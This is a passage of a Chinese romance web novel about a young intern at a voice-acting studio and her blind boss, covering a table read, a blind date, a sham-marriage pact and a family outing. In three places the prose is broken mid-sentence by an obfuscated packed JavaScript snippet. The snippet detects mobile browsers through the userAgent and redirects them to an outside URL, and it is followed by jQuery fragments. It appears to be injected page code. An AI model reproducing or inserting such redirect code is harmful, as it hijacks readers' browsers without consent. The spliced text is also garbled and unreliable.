秦叠一边拖地,一边偷摸,或者可以说是大张旗鼓地打量这个房间的一切,一如既往的木调清香,池晚桑坐在椅子上,阳光落在一半的脸上,精致的五官如瓷质般,而五官的主人正全神贯注在听MP3里的东西。 “咳咳,池老板,你听过myeyes这个软件吗?是针对盲人……”秦叠说到这儿,顿了瞬,“设计的软件,据说在平时生活上还挺有用。” “嗯。” 嗯是什么意思,秦叠不由地翻个白眼。要不是从小的情分,熟悉他以前的样子,现在真想给这个冷漠的冰块一脚,然后放在火锅里,直接煮化,热辣的锅底就不信融不化这人零下一百零八度的心。 尽管池晚桑对眼睛的问题很敏感,秦叠还是秉持能帮一点是一点的原则。偶尔帮他接水,遇见路障立马收拾,虽然偶尔被发现,被池晚桑冰冷地说“不用自作主张”,之后还是会“自作主张”继续帮忙。 她帮的不是现在这个包裹得一层又一层的池老板,而是当年和他们一起下河捞鱼,也会独自不服输地练习钢琴的池晚桑。 配音圈说大不大,说小不小,池晚桑因为入行早,虽说籍籍无名,但凡与他接触过的人,无人不佩服池老板这天杀的好嗓子,还有佛系的傲骨。 再有前阵子池晚桑负尽天下,不负一人的痴狂反派嗓音一亮相,虽然他严厉拒绝了一些面试,但应酬只会多不会少。 比如今天线上的主创交流会。 但这次主要是私下几位配音演员的相互磋磨,并不公开,相当于提前找好互相之间角色的情感羁绊。 聆镜六人全体上线。 苏木翘着二郎腿瘫坐在沙发上,嘴里含着秦叠刚削好的苹果,姿势十分慵懒。 林桐看秦叠有些局促,好意提醒道:“没事,大家都互相认识,就是开会商讨一下剧情如何发展,不用紧张,你就听着就行。” 会议室逐渐进人,全是之前耳熟的老师,秦叠不可思议地看着屏幕上一个个出现的头像,一时竟有些哽咽。 她何德何能,竟然还能旁听这样的会议。 ID名叫今酒的先发言,声音爽朗,带着少年人的无畏,开口即问到了关键,“今天聆镜怎么多了一个人?” 突然被cue,秦叠急出一身冷汗,她本来是不用发言的,但现在说是不说。 池晚桑简单道:“新招的实习生。” ID叫离歌的来了兴趣,是个女生,不似林桐的温婉,没有沈桉羽的多情妩媚,自带一股狡黠,和刚才的今酒正像一对江湖侠侣。 “池老板,之前我就朝贵工作室抛出橄榄枝,说是人满了人满了,现在忽然又缺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460833|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?什么情况?” 池晚桑话少,隔着屏幕看不见这一张冷脸,倒是个随便欺负的好脾气,对面一阵唏嘘,调侃。 今酒似在看剧本,像是发现什么新奇的东西,忽然打断:“诶,陈藻怎么又配这种闷骚类型的,要我说,陈啊,作为配音演员,要突破自己,尝试不同风格,才能进步啊。” 陈藻:“……池老板安排的。” 今酒:“那就是你们老板的问题了,不给员工进步空间,我看这个红楼浪荡的断袖要不就给你配,我们换一下,敢不敢?” 陈藻展平嘴角,似是不屑,显然被激着了,“有什么不敢。” 鱼儿咬钩,那边的人又来了兴趣,圈内认识陈藻的都知道他虽然长得彪悍魁梧,一看能一对十的汉纸,但性格却闷得紧。于是调笑陈藻和调戏池晚桑是他们的两大乐子。 “那你就念这一段,‘哥哥,为何不理阿月,那些青楼女子我是统统不要的,左右不过做戏,哥哥你又何必当真,至于动怒嘛~’” 这一声声的哥哥,喊得秦叠都起了一身鸡皮疙瘩,将眼睛埋在手机后面,偷摸去看陈藻的表情。 这家伙脸都快憋绿了,这么“出格”的角色,看来真是一大挑战,对面那人配得酥酥柔柔,给他的压力自然不小。 陈藻胳膊上的肌肉肉眼可见地在用力,双手攥拳,艰难地开口,吐出:“哥,哥哥。” 忽然会议室笑得人仰马翻,一片狼藉,当真调笑陈藻是这样一番大乐事。 沈桉羽性子一贯泼辣直爽,挺身而出替同事解围,“好了好了,别烙了,开死吧。” “噗”不知谁刚喝了口水,被沈桉羽这声“开死吧”给活活喷了出来。 今酒笑成了鸭子音,“不错不错,这回配个川渝泼辣老板娘,沈桉羽终于可以回归乡音了。地道!” 沈桉羽还没发现问题所在,闭麦问池晚桑:“别闹,别烙,别唠,有什么问题?” 可周围的人却没关麦,对面急忙笑着说:“没事没事,桉羽你继续。” 林桐,苏木和陈藻这边选择沉默。 说归说,闹归闹,整场会议的效率却没有被影响,几个人轮流阐释自己的角色和配音思路,顺顺当当给理了下来。 今酒快结束的时候忽然又将话题转到池晚桑身上:“诶,这可是池老板都一次在聆镜配音啊,不得请客吃一顿好的?” 池晚桑嘴角带着笑意,“结束了请你们吃聆镜的庆功宴。今天还有一件事,新来的实习生小朋友和大家打个招呼,各位听听她的声音条件如何。” 秦叠千想万想没想到还有这一招,忽然坐直了,瞪大眼睛向林桐姐求助,把她这还没修炼成人形的小蛇拿出来见人,会不会把人给吓死。 林桐对她点点头,柔声说:“没事,大家都熟,以后迟早会认识。” 这不是关公面前耍大刀嘛,秦叠深呼一口气打开麦,小声开口:“大家好,我是聆境光合新招的实习生,我叫秦叠,秦朝的秦,阳关三叠的叠。” “这妹妹音质很纯嘛。”离歌感叹道,“你好啊,秦叠,我叫离歌。” 今酒:“不错不错,我感觉可塑性挺大,池老板这是招到宝了,向我们炫耀呢!妹妹,你用胸部式呼吸和腹部式呼吸再说一段。” “啊?什么?”没想到还挺认真在帮她找合适的类型。 池晚桑坐在秦叠旁边,感受到她的惊讶,以为是不懂这两个词,帮她解释道,“将手放在你胸口的位置,呼吸间感受……” 他只教过陈藻一个外行,苏木和他一同入行,自不用说,林桐和沈桉羽是自己应聘来的,基本功底相当扎实,也不要他插手。 于是。 池老板习惯性扶住秦叠的肩膀,握住她的手,想帮她找发声位置。 如此近距离接触,秦叠忽然脑袋一热,嗡嗡乱叫,几乎是脱口而出: “你,你别碰我。” 池晚桑楞在原地,握住她的手忘记松开。 会议室内外,线上线下,忽然死寂。 14. episode14 距上次尴尬发言后,秦叠一直在工作室低头做人。 平日里小心谨慎惯了,除了帮池晚桑引路不可避免地身体接触,这样大庭广众之下,突如其来的一下子,着实让她有些烧脸,小女孩面皮薄,脱口而出之后就后悔了。 而池晚桑似乎也是意识到不妥,之后几天都刻意同秦叠保持距离,这让她有些头疼,道歉也不是,不道歉也不是,骑虎难下,堪比油锅烹心还煎熬。 于是秦叠选择脚踏实地仰望星空,低头做人,埋头做事。在剧本围读会时候,非常自觉退在一侧,眼尖手快看见谁的杯子里没水了,上前献殷勤。 入职以来,拿到工作室大门的钥匙,她一定是最早来开灯,最晚锁门的一个,将木地板拖得光滑可鉴人。 工作室其余人对她态度倒是不好不坏,刚毕业的学生,初出茅庐,身上尖刺多点,并不奇怪。 池晚桑则是睁一只眼,闭一只眼,偶尔发现杯子里的水一直喝不完,岫白的狗粮及时被人补给,也不再多说些什么。似乎聆镜在有新人加入后,再一次形成了它的生态平衡。 周末秦叠不去工作室的时候,还在之前的奶茶店打工,各种配料和比例她都已经烂熟于胸,人善话少,老板也留的她在周末给其他员工换班。 这是一条退路,每周微薄的固定收入让秦叠一脚还留在学生时代的舒适区里,似乎一切还和以前一样简单。 惠熙和秦时欠款只要回来了一半,又打起了秦东柏的主意。三个人窝在小出租屋里,秦叠尽量回去就倒头大睡,能减少矛盾的产生就极力减少。 这天她还在奶茶店给一个社团配加急的柠檬茶,像是团建活动,对方一口气订了五十杯,忙得有些摸不着头尾。 好容易缓口气,惠熙一个加急电话打来,说给她安排了相亲,就在公园边的咖啡厅,对方已经到了,她不去也得去。 地点选得不错,天气正直凉爽,在河边露天卡座,头顶一张遮阳伞,面前一杯香浓咖啡,如果不是在相亲,秦叠现在心情会好很多。 男生皮肤呈小麦色,寸头,五官没有池晚桑精致,却也简朴舒适,看见她来了首先开口便带着浓浓的乡音,别扭地混合着普通话: “秦叠,你好,我叫李想,这几天刚好来连阳,你工作忙,想着就在连阳见一面,不用你回去了。” 李想笑得爽朗大方,秦叠放下挎包,笑着正要回应,却怔怔看见李想背后,面对着自己坐的,不是池晚桑又是谁。 她习惯性闻了闻身上的气味,希望这次配的柠檬茶,不会太浓郁。 “你好,恕我冒昧啊,我不想耽误大家的时间。一次性说清楚,我不会回老家的,以后肯定会定居连阳,所以,之前有传达不清楚的地方,还请你原谅。” 信息明显没有对齐颗粒度,李想脸上的笑正正被秦叠这句话给堵在脸上,连带着僵硬的肌肉,颤抖了几分。 秦叠偷偷瞟了眼对面的池晚桑,脸上表情没有什么变化,像是没听见他们的对话。真是天道好轮回,之间撞破他相亲,今天连这尴尬也要如数奉还吗。 李想抿了抿嘴,似乎对秦叠还算满意,又争取道:“老家那边现在开发得越来越好了,我家房子又新修了一栋,地里现在也改种鲜花水果,都是很有前景的。” “听说你面试了一个配音的地方,不是我说啊,这都是现在人无聊搞出来的东西,没什么意义,娱乐娱乐就好了,你还能靠这个吃饭吗?” 这肯定是惠熙给他说的,秦叠舌尖不耐烦地在后槽牙上刮了半圈,正要反驳,对面男人举起电话,放在耳边。 池晚桑就这样斜斜靠在椅子上,刘海被风轻轻掀开,露出光洁的额头,今天的打扮休闲随意,此时更显精神,瞳孔仍是波澜不惊的棕褐色宝石,目空一切。 她看了眼手机来电,迟钝地接通手机,还没来得及说话,池晚桑压低嗓门问: “想走吗?” 她不自然地看了眼李想,顿顿说了句:“嗯。” “你还欠陈藻几个NPC的配音,分成应该够你一个月的生活费,今天去录。” 这明显是在回应刚才李想的不屑,还真是被听得一干二净。 秦叠明白过来,声音里多了几分底气,“好的老板,我马上过来。” “等等,”池晚桑还没说完,“奶茶店……” 这狗鼻子。 “辞,这个月结束了就辞职,工作室这么忙,肯定没时间去。”秦叠点头如捣蒜,挂了电话,小心地看了李想一眼。 “抱歉啊,工作室太忙了,今天临时有任务,不去要扣工资的。我们不合适,抱歉浪费你时间了。” 秦叠说着就要起身,对面池晚桑听见后面的抱歉,眉头不自觉皱在一起,似是不爽。 路过池晚桑的时候,秦叠放缓脚步,不知道要不要带上老板,或者至少小声说句谢谢,毕竟别人帮了自己的忙。于是走得有些心不在焉,没注意到脚下的盲杖正斜靠在椅子边,被绊得猝不及防。 李想听见动静,正要起身。 右手上忽然一用力,池晚桑站起来,及时拉住她,眼神似乎暗了暗,垂下的睫毛如受惊的蝴蝶,薄翼带着颤抖,“对不起,盲杖没放好。” 秦叠惊魂未定间,长舒一口气:“没事,你,要走吗?” “不了,我还有事。” 看着手臂上修长的手指礼貌性撤回,秦叠轻声说:“那今天谢谢你了。” “不客气。” 池晚桑坐回去,懒倦不羁地靠在藤椅上,侧头“看”着河流的方向,没有继续聊天的意思,将盲杖收回到自己身边。 秦叠余光瞥见李想看向这边,欠了欠身,点头示意自己真的该走了。 没过一会儿,高跟鞋咔哒咔哒的声音由远及近,短促有力,听这脚步声,便知是个干练直爽之人。 女人蹬着几十厘米恨天高,走起路来如风,皮质包臀裙尽显婀娜,外套搭在肩膀上,墨镜往上一推,看向池晚桑的脸上不自觉多了些笑意。 “你比照片更好看。” 她顺势坐在池晚桑对面。 众人的目光都聚焦在这女人身上,却没注意到一直坐在旁边沉默的池晚桑,这时随着她的视线看过去,又是一番惊叹。 池晚桑当然看不见这些目光,礼貌地笑了笑,“王小姐,请坐。” 王小姐眼里尽是满意,上下打量池晚桑一圈,心里不禁感叹:“可惜了,是个瞎子。” “你和网上不太一样。”她翘起二郎腿,腿部线条修长白皙,可惜面前的人看不见,仍旧一副山崩于前而不改其色的样子,于是点了一根烟,池晚桑果然不可避免地皱了皱眉。 “当然。”他的声音仍然低沉,不想吸引太多注意力,他说话从来谨慎,“跟你聊天的不是我,我为我弟弟的行为向你道歉,你有什么要求吗?” “没什么要求,聊聊。” 她当然知道对面聊天框的人是什么水平,池向榆刚高中毕业,相亲网站能有什么话题,被她一两句话给套出来真相,不过对池晚桑倒是十分感兴趣,不管是恶搞还好,仍同意了这场见面。 “你是做什么工作的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460834|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的声音因为长期吸烟,带着几分沙哑的性感,此时看向池晚桑又是兴致盎然的模样,语气里多了几分轻佻。 “如果误会解释清楚,我想我可以离开了。” 池晚桑明显不喜欢继续荒谬的对话。 “聊两小时,不然我去找你弟的麻烦。”她将烟灰在河边栏杆上抖了抖,瞬间随风散去,眼睫低垂,语气间却是不容拒绝。 “你是做配音的,说不定我们以后还能有合作。” 这个池向榆,之前变着法子惹祸,却只说他的电话,现在已经猖狂到这种地步,池晚桑脸上露出一丝不耐。 这丝不耐烦被女人巧妙地抓住,邪魅一笑:“怎么有这么不省心的弟弟,他好像还和不少人在聊,这些相亲网站上,骗子可不少哦。” 池晚桑忽然像是想起什么,抬头,嘴角蔓延开两抹笑意,“如果我已婚呢?” 信息发达的网络,只要有他已婚的消息,任凭池向榆再怎么造孽,也难以激起什么水花。 心情难得变好,他难得多回复了几句对面女人的提问,包括他是怎么做到看不见的情况下还能成功创业。 “因为喜欢,如果能坚持做一件热爱的东西,这何尝不算是天赋?” 女人楞了瞬,自言自语道:“是啊。”又看了眼手里的烟蒂,彻底捻灭在烟灰缸内。 这边秦叠刚录完之前欠的配音,虽说是小角色,每个人台词不过十五个字,也配得她满头大汗,重来的时候对着对面的老师说了一遍又一遍道歉。 因为害怕出错,因为想要更好,却因为自己能力局限,因为喜欢。 一遍又一遍重录,秦叠没想到实践下来,配音竟然这么难,一时有些郁闷。 此时却接到池晚桑的电话。 “你现在在哪儿?” 秦叠有些懵,抬头看了眼工作室招牌,“刚配完,在工作室。” “你去小广场等我一下,我有事问你。” 不明所以,秦叠坐在广场台阶上,这样方便她看清来人,及时找到池晚桑。 他来得有些着急,走得很快,额头上渗出一层薄汗,长身玉立,在广场中央,无助地“看”向四周。 叹了口气,秦叠向他走去,扬声道: “池老板。” 池晚桑听见她的声音,像是终于放心了般,沉下肩膀,双手搭在身侧,竟一时有些拘谨不自然。 “你之前说的事,还在考虑吗?” 虽是提问,可能因为紧张,他忘了给秦叠插话的空间,继续道:“我是个盲人,生活起居都很不方便,甚至连最简单的吃饭,逛街都需要帮忙,你知道吗?” 秦叠像是反应过来,生涩地嗯了声。 “你没有喜欢的人吗?”这次换池晚桑问她。 “没有。” “今天相亲没看上?” “嗯。” “最后一个问题,你真的叫秦叠,父母双亡?” “对。”秦叠定定看着他,胸口起伏更甚。 池晚桑听完,缓缓道:“我爸爸去世了,妈妈带着弟弟改嫁,但弟弟老是给我惹祸,除此之外,生活还算简单。所以,你真的明白我的情况?” 秦叠知道,他这是在给自己反悔的机会。 胸口像是堵着一块棉花,闷闷瑟瑟地捂住本就不通畅的呼吸,秦叠偏过头去,闭上眼道:“我愿意。” 话刚说出口,两人呼吸瞬间停滞,广场中央,似乎只有他们,因为彼此的秘密,达成了莫名的契约。 落笔为誓,生生世世。 15. episode15 第二天是周末,民政局不开门,池晚桑和秦叠也没有再联系,各自在家里煎熬而孤独地度过自己最后一个单身日。 只是没想到,明日复明日,明日何其多,当然这都是后话。 惠熙和秦时又出门去了,秦叠躺在床上,翻来覆去,心情忐忑。虽说本来就是假的,做好了一切心里准备,还是在池晚桑同意的时候,心快跳出嗓子眼了。 结婚这么大的事,就这样被她草率决定,真的不会后悔吗?何况对象还是池晚桑。 她视线无意间瞥向墙角箱子里的望远镜,想入非非,不禁扇了自己一耳光,拨通余庆和周静昀的电话,约他们出来玩。 然后一头钻进浴室,准备梳洗打扮一番,手机却鬼使神差地点开了池晚桑的配音集,在浴室点点水滴滑落声中,响起沉稳不屑的男声:“跑,让她跑,累了就会回来的……” 她没有来得及告诉两人自己要结婚的消息,就收到了外婆的电话,“快来火车站接我一下,刚下车,腿抽筋了。” “火车站?”秦叠有些不可思议地看向前面抢着吃薯片的余庆和周静昀。 他们这家人还挺爱搞突然袭击的。 看到火车站出口处,一个瘦瘦小小的老年人,穿了一身蓝黑色民族风长衫,头上还顶着白粉色头巾,坐在出口旁边的楼梯上,慢慢地揉自己的右腿,秦叠一时有些恍惚。 她早就让外婆过来玩,可是外婆晕车,又不习惯大城市的喧嚣,几乎没可能挪窝,今天是为什么突然出现在这里,她心里明白。 “外婆!”秦叠大声喊着,跑上前去,一把抱住楼梯上的小老婆婆,惯性差点带着两人一起滚下去。 “你怎么来了?” 陈如意狡黠一笑,眼角噙着捉弄人的笑意,连带着鱼尾纹都生动了起来,“我过来帮你把那两个妖怪给捉回去。” “你来了可得玩两天再走,不然我可不放人。”秦叠昂着头,半撒娇的语气亲昵地蹭外婆的肩膀。 老年人可不能再和他们三个挤在那个破烂的出租屋里,秦叠开了间标间,给惠熙和秦时用别的借口打了声招呼,便和外婆舒舒服服入住酒店。 “住外面干什么?怪浪费钱的!”外婆心里高兴,看着酒店干净整洁的陈设,心里还是咯噔一下,然后把能带走的东西都塞进包里,“这肥皂,这拖鞋,给了钱了,我们就得拿走,还有这纸巾……” 秦叠看见外婆开心,自己也高兴,挽住她胳膊,大方地说:“随便拿,你孙女我找到工作了,以后我养你!” 祖孙俩于是在酒店房间里点了外卖,然后齐刷刷敷好面膜躺在一张床上,惬意地看抗日神剧。 “外婆,咋样,招待不周,还请多担待啊!” “可以,我还算满意。”陈如意知道这都是孙女的一片心意,没有扫她的兴,舒舒服服地按摩着脸上面膜。 秦叠此时早忘了今早上激动和忐忑些什么,打开和池晚桑为数不多的聊天记录,非常小心谨慎地又发过去一条卑微万千的请假条。 过了半天收到一条毫无感情的“嗯”,才算结束。 秦叠不知道该带外婆去哪里玩,想起来她也没去过游乐场,带过去见见世面也挺好,反正两人一个不能玩,一个不敢玩,正好做个伴。 可还没进门,外婆就有些腰酸背痛迈不开腿,在门外看着呼啸而过的过山车,凄厉的嘶吼迟来半秒,额前本就不多的碎发被卷起遮住眼眸,她退缩了。 “罢了罢了,这个游乐场我看还是算了,留我老命一条,以后还有用。” 秦叠苦笑不得:“谁要你命了。” 见外婆像个耍赖的孩子,捶腿坐在游乐场门口,死活不肯进去,嘴巴甚至有些赌气地翘起,一时有些想笑。 “那你想去哪儿?” 此时旁边响起清越的男声,这如小桥流水的缓缓节奏,正是池晚桑。 “旁边有个温泉疗养院,还有缆车可以上山,山上风景不错。” 外婆听了觉得正合心意,抬头就要感谢这位菩萨心肠的路人,却被池晚桑的脸给吓了一跳,“小池?” 秦叠大叫不妙,尖声插,入,“外婆,这就是我之前给你说的池老板,竟是好巧,池老板也是清远人!” 她挤眉弄眼的夸张幅度,在场只要不是瞎子,就会发现异常,外婆心领神会,跟着“哦”了一声。 “池老板这么年轻啊,我还当你老板是个中年大叔。池老板来游乐场玩儿吗?” 周围太过喧嚣,池晚桑没注意两人刻意拔高的语调,顿了顿说:“路过。” “那,今天有空吗?我孙女一看就不会玩儿,池老板对那山上景色赞不绝口,要不一起去瞧。咳,感受感受?” 毕竟也是从小养在跟前的小孩,陈如意猛地看见长成这么大,心里感慨,又瞅见他的眼睛,心下闷塞了几分,想和他好生聊聊。 秦叠以为池晚桑是绝计不会同意的,做好准备拉上外婆溜之大吉,却听见旁边沉沉地说:“好。” 什么?!莫不是听错了? 秦叠站在票务处厕所门口,看着女厕所外面奇形怪状的扭曲长龙,还有好不容易进去的陈如意,叹了口气,正想“质问”怎么池晚桑老是在游乐场门口晃,就被他率先开口拦截。 “这么喜欢游乐场?老是在附近听见你的声音。” 秦叠皮笑肉不笑,呵呵两声,“彼此彼此。” 本是她精心准备和外婆的二人世界,被这第三者插足插得好生自然。 “我呢,以前没来过,上次来是想着反正假都请了,面试也通过了,犒劳自己一下。这次呢,想着外婆也没来过,带她来看看。” “这是是因为老年人走不动,上次是因为什么才没进去?” 他遇见秦叠的时候,她可一直在门口的花坛上坐着。 秦叠狠狠剜了他一眼,小声道:“不敢。” 没想到他竟然笑了,微微仰头,牙齿整齐皓白,瞳眸毫不畏惧地“看”着太阳的方向,若不是这一举动异于常人,他和一正值风华的少年又有何两异。 秦叠羞涩不过,“池老板这次怎么又在这里?难不成喜欢这里的氛围?” “附近有养老院,我来看一位老朋友,今天出发的早了些,正好遇见你们。” 附近的养老院不正是上次和秦叠通话那个“老瞎子”的地址嘛,秦叠还想问什么,外婆喜气洋洋地从里面出来。 刚出门就看见树下站着一男一女,男生笑得爽朗,短发虚覆于额头,眉清目秀,俊朗英气。女生比他矮一截,像是在暗自赌气,眉眼间有羞赧神色,仰头看向男孩的目光里却尽是温柔。 阳光洒落,岁月静好。 陈如意难得这么开心,揉了揉腰椎,拉着秦叠就说要去池晚桑说的那个山头。 池晚桑没和两人绑定,今天也没带岫白,拄着盲杖走得从容。 秦叠甚至觉得岫白这个工作可真是世上最轻松,无之一的工作了。 快到马路边,忽然,旁边的池晚桑停了下来,稍稍低头,似在侧耳倾听车流的声音,盲杖往旁边探去,想找一个支点。 陈如意推了推秦叠,眼神示意她。 秦叠两步走过去,将池晚桑的手搭在自己手腕上,“别总是靠边走,走这边,带你过马路。” 见他走得还是有些迟缓,秦叠一字一顿,轻轻拍了拍他的手。 “相信我。” 秦叠带着两人好容易坐上缆车,周边无人,他们独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460835|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在透明的车厢,在空旷的山谷里缓缓上升,周边杂树活物越来越小,脚下越来越虚浮,秦叠握住外婆放在膝盖上的手。 “怕吗?” 外婆却不以为意,“这有啥怕的,上头那根绳子粗得很。” 果然是位彪悍的老年人,她随即又好心问池晚桑,“小池啊,平日里有人照顾你吗?” 秦叠觉得这个问题太过露骨,和她刚遇见池晚桑时一样,有些迫不及待想知道内情的心情。 她用手肘撞了撞外婆,却被好不客气抵回来。 “我一个人住,生活可以自理,不需要人照顾。” 池晚桑只是淡淡地说。 一个人住?那之前遇见警察局的池向榆是怎么回事? “那你做饭……” 秦叠开始猛烈咳嗽,有完没完了,这种问题就不要涉及了。 池晚桑会意,笑笑,“没事的,我做饭还挺好吃,婆婆有时间可以来我家尝尝我的手艺。” 小的时候,有一回惠熙住院,秦时要在医院陪床,让兄妹两准备饭菜,而秦东柏就是个胀干饭的,啥也不懂,重任全部落在秦叠身上。 小小年纪,还没有灶台高,秦叠搬了个小凳子放在灶台面前,踩上去就大刀阔斧开始动手。 最后油烟四起,烫得手上起了好几个泡,秦东柏无奈之下拉着她去敲开了隔壁的门。 池晚桑对隔壁邻居的第一印象就是四处奔忙,满头大汗的小男孩,牵着一个锅底糊了脸,小胖手上烫出几个鲜红晶亮水泡的女孩子,可怜巴巴,却带着笑望向他。 “有饭吗?” 纪婆婆拉着秦叠去处理,池晚桑便一头扎进厨房给秦家人做了三天的晚饭,直到秦叠外婆紧赶慢赶从老家赶过去才卸下了重任。 之后,秦叠常常和秦东柏像悍匪一样闯进池晚桑家,其中重要的原因,就是他做的饭还挺好吃。 山上果然清净,人闲花落,月静山空,鸣鸟于远处传来回响,细细密密,夹在风过林稍的声响中,闭上眼睛,令人心静。 难怪他爱来这儿。 姜的还是老的辣,一忽儿功夫,外婆就将秦叠花了好几天才清楚的事情,问了个彻底,临到快下山的时候,还不忘提一嘴:“小池,那你有结婚的打算吗?” 秦叠这才猛地想起什么,难怪日理万机的池老板偏巧今天没事干,不是她缠着要结婚,这才腾出的时间,又是什么原因。 她惊恐地望向池晚桑,希望他此时不要因为太过憋屈,从嘴里吐出什么虎狼之词,她可就不好圆回来了。 谁知池晚桑像是感受到她这边炙热的眼神,顿了顿,仍旧温文尔雅地说:“应该会的吧。” 可感受到这秦叠这剧烈情感波动的不止池晚桑一人,外婆也狐疑地看过来。 还好池晚桑手机忽然来消息,打断了暧昧难明的气氛。 他开的外放,语音的声音酷似苏木,却又不敢认。 因为他像是开了四五倍速,字词快速念过,不着痕迹,声音因为提速已经失去了原来的音色,略显刺耳。 不知这个对音色要求极高的老板是怎么忍受的。 不只秦叠一人惊讶,外婆注意力也被这串“摩斯密码”般的语音给吸引过来了。 “小池,这么快,你能听清吗?” 池晚桑唇角稍扬,“可以的,看不见了,总要在其他地方弥补回来一点。” 说完,他便与两人告别,正是苏木找他,问他怎么还没到养老院,之前催的人是他,现在迟到的人也是他。 对面牢骚没发完,池晚桑想起之前秦叠说自己长得丑,没人要,忽然开口,有些不好意思,迟钝地问: “苏木。秦叠,长得,怎么样?” 16. episode16 平日里连雌性昆虫都懒得分去一点好奇心的池晚桑,今天突然问起工作室女员工的长相,苏木差点将还没咽下去的水给一口喷出来。 “秦叠,长得还不错吧,脸上没怎么化妆,清纯学生的样子,眼睛大,鼻梁高……” 苏木之前也没在意这个小妹妹的长相,忽然被池晚桑这么一问,细细品味起来,竟是个极品。 “够了。”池晚桑打断他,这样分析描述别人,着实还有些不太礼貌。 “东坡肉和糖醋鱼带了吗?” 出门前他将只剩最后一道工序的菜,按照惯例交到苏木手上,只要不是弱智,或者故意找事,最后成品应该大差不差。 苏木白眼翻上天,“带了老板,你到了吗?我在门口了。” 池晚桑和苏木每周都会来看黎叔,老年人也好池晚桑这一手好厨艺,每逢他们来,不带些菜就不需要进去,进去也是千般刁难,自讨苦吃。 黎叔闻见苏木手里的菜香,闭上眼,耸着脖子,满足地狠狠吸了口气,眉心皱拢的眉骨这才舒展开来,“糖醋鱼,东坡肉,还算你俩有良心。” “小苏还没进来的时候,我就在门口听见你们打电话了,秦什么?长得好看?有意思?” 池晚桑略显无语地坐在黎叔对面,“望”着窗外的方向不语,把这个摊子甩给苏木,意思是谁捅的篓子谁补。 苏木正伺候着老爷子进食,突然被问老板的八卦,当着人的面也不好多说,刻意提高声调,“哎,黎叔,什么话,是工作室新招的一个女孩,不仅人长得不错,还是个来事的。” 说着他瞥了眼池晚桑的表情,似乎没有什么变化,继续道:“您也知道池晚桑什么性子,仗着自己占大头,把工作室带得不争不抢,好不容易拉来些资源,还都被这尊佛给堵了回去。” “可这位姑娘不懂这些,这几天还问我工作室以后有什么打算,真的要摆烂到底吗?小姑娘是用了心的。” 说罢,他又掠了眼池晚桑。 黎叔听后明白大概,伸手准确地拍在池晚桑腿上,“你个小瞎子,闷得很,带的这些员工也不争不抢的,好容易来了个活泛的丫头,不要给人使脸色,听见没?” 话锋一转,似触及哀伤之处,他又道:“这么多年,带来见我的只有苏木一个人,什么时候能带个女孩来见见我?” 话说当年池晚桑刚上大学,每周照例会来看望黎叔,不过是一个人。 他当时眼睛刚失明不久,性子阴郁,不与人交流,一根盲杖敲得堪比架子鼓,地皮似乎与他有仇般,隔着几米远都能知道他来了。 不过这倒不是他气性大,刚开始不习惯罢了,但别人不这么觉得,都离他远远的。 有一回去食堂,盲道上倒了几辆自行车,池晚桑气不过,走得急,差点一头撞在食堂一楼玻璃门上,只听见后面一声大叫: “同学,往右边点!” 来人正是苏木。苏木性子活络,热情地拉着池晚桑帮他点餐,话又密,手上动作又不知轻柔,跌跌撞撞竟一份插话生气的机会都没给他。 苏木自来熟拉着他冲着没人排队的窗口灵活一闪身,定定站在玻璃窗前,一边念菜品,一边回头看池晚桑。 “今天有西红柿炒蛋,青椒肉丝,鱼香茄子,炸蘑菇,土豆牛肉,你想点哪样?” “你……”池晚桑气被堵在胸口,还没来得及发泄,一时语塞,没甚骨气地说了句:“西红柿炒蛋,土豆牛肉……” 一来二去,苏木大大咧咧的模样神奇般冲淡了池晚桑身上的戾气,两人经常一起出没食堂。而池晚桑脾气倔,不喜欢去特殊教育食堂,只去普通食堂,苏木的作用似乎显得神圣不可或缺,虽然他嘴上骂池晚桑麻烦,还是一遍遍给他念食堂的菜品。 这些年池晚桑给大家做的饭菜,多数也是出自这位报菜名贯口练得滚瓜烂熟,偶然间发现池晚桑手艺惊人,长此以往用之前食堂报菜名之恩威胁他的苏木之口。 回忆起往事,黎叔笑了笑,眼角堆起一堆皱纹,“当时还好有你肯搭理这小子,他带你来的时候,我别提有多高兴了,差点以为他会把自己憋死在学校里。” 看着碗里的肉肥瘦相间,肉汁莹润,褐色酱汁淋洒其上,这个瞎子做得饭菜竟也是色香味俱全,苏木按耐不住馋虫,偷摸尝了口东坡肉,顿时紧皱五官,有些不可思议地看向两人,可惜他们全无察觉。 这,这也太好吃了! 嘴里还包着饭菜,他拍拍胸脯,有些口齿不清地说:“黎叔,你放心,有我在,这小子闷不死,我的胃还需要他呢!” 池晚桑却像没听见两人的对话,淡淡问了句:“钢琴怎么样?要调律吗?” 